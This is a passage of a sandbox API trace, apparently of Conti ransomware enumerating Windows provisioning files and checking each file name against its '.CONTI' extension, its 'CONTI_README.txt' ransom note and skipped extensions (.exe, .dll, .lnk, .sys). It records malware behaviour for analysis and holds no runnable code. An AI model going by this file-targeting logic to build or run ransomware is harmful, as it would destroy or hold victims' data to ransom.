	[0106.862] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml"
	[0106.862] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="113__C~1.PRO")) returned 1
	[0106.862] lstrcmpiW (lpString1="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.863] lstrcmpiW (lpString1="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.863] StrStrIW (lpFirst="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.863] StrStrIW (lpFirst="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.863] StrStrIW (lpFirst="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.863] StrStrIW (lpFirst="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.863] StrStrIW (lpFirst="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.863] StrStrIW (lpFirst="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.863] StrStrIW (lpFirst="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.863] StrStrIW (lpFirst="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.863] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.863] lstrlenW (lpString="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml") returned 68
	[0106.863] GetProcessHeap () returned 0x1720000
	[0106.863] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17ca718
	[0106.863] lstrcpyW (in: lpString1=0x17ca718, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.863] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.863] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml"
	[0106.863] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", cAlternateFileName="114__C~1.PRO")) returned 1
	[0106.863] lstrcmpiW (lpString1="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.863] lstrcmpiW (lpString1="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.863] StrStrIW (lpFirst="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.863] StrStrIW (lpFirst="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.863] StrStrIW (lpFirst="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.863] StrStrIW (lpFirst="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.863] StrStrIW (lpFirst="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.863] StrStrIW (lpFirst="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.863] StrStrIW (lpFirst="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.863] StrStrIW (lpFirst="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.863] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.863] lstrlenW (lpString="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml") returned 68
	[0106.863] GetProcessHeap () returned 0x1720000
	[0106.863] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17c9a48
	[0106.863] lstrcpyW (in: lpString1=0x17c9a48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.863] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.863] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml"
	[0106.864] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="115__C~1.PRO")) returned 1
	[0106.866] lstrcmpiW (lpString1="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.866] lstrcmpiW (lpString1="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.866] StrStrIW (lpFirst="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.866] StrStrIW (lpFirst="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.866] StrStrIW (lpFirst="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.866] StrStrIW (lpFirst="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.866] StrStrIW (lpFirst="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.866] StrStrIW (lpFirst="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.866] StrStrIW (lpFirst="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.866] StrStrIW (lpFirst="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.866] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.866] lstrlenW (lpString="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml") returned 73
	[0106.866] GetProcessHeap () returned 0x1720000
	[0106.866] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x148) returned 0x17bd210
	[0106.866] lstrcpyW (in: lpString1=0x17bd210, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.866] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.866] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml"
	[0106.866] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="116__C~1.PRO")) returned 1
	[0106.867] lstrcmpiW (lpString1="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.867] lstrcmpiW (lpString1="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.867] StrStrIW (lpFirst="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.867] StrStrIW (lpFirst="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.867] StrStrIW (lpFirst="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.867] StrStrIW (lpFirst="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.867] StrStrIW (lpFirst="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.867] StrStrIW (lpFirst="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.867] StrStrIW (lpFirst="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.867] StrStrIW (lpFirst="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.867] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.867] lstrlenW (lpString="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml") returned 63
	[0106.867] GetProcessHeap () returned 0x1720000
	[0106.867] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x17bce40
	[0106.867] lstrcpyW (in: lpString1=0x17bce40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.867] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.867] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml"
	[0106.867] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="117__C~1.PRO")) returned 1
	[0106.867] lstrcmpiW (lpString1="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.867] lstrcmpiW (lpString1="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.867] StrStrIW (lpFirst="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.867] StrStrIW (lpFirst="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.867] StrStrIW (lpFirst="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.867] StrStrIW (lpFirst="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.867] StrStrIW (lpFirst="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.867] StrStrIW (lpFirst="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.867] StrStrIW (lpFirst="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.867] StrStrIW (lpFirst="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.867] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.867] lstrlenW (lpString="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml") returned 63
	[0106.867] GetProcessHeap () returned 0x1720000
	[0106.867] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x17bd360
	[0106.867] lstrcpyW (in: lpString1=0x17bd360, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.867] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml"
	[0106.868] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="118__C~1.PRO")) returned 1
	[0106.868] lstrcmpiW (lpString1="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.868] lstrcmpiW (lpString1="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.868] StrStrIW (lpFirst="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.868] StrStrIW (lpFirst="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.868] StrStrIW (lpFirst="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.868] StrStrIW (lpFirst="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.868] StrStrIW (lpFirst="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.868] StrStrIW (lpFirst="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.868] StrStrIW (lpFirst="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.868] StrStrIW (lpFirst="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.868] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.868] lstrlenW (lpString="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml") returned 65
	[0106.868] GetProcessHeap () returned 0x1720000
	[0106.868] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x17bd4a0
	[0106.868] lstrcpyW (in: lpString1=0x17bd4a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml"
	[0106.868] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="119__C~1.PRO")) returned 1
	[0106.868] lstrcmpiW (lpString1="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.868] lstrcmpiW (lpString1="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.868] StrStrIW (lpFirst="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.868] StrStrIW (lpFirst="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.868] StrStrIW (lpFirst="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.868] StrStrIW (lpFirst="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.868] StrStrIW (lpFirst="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.868] StrStrIW (lpFirst="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.868] StrStrIW (lpFirst="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.868] StrStrIW (lpFirst="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.868] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
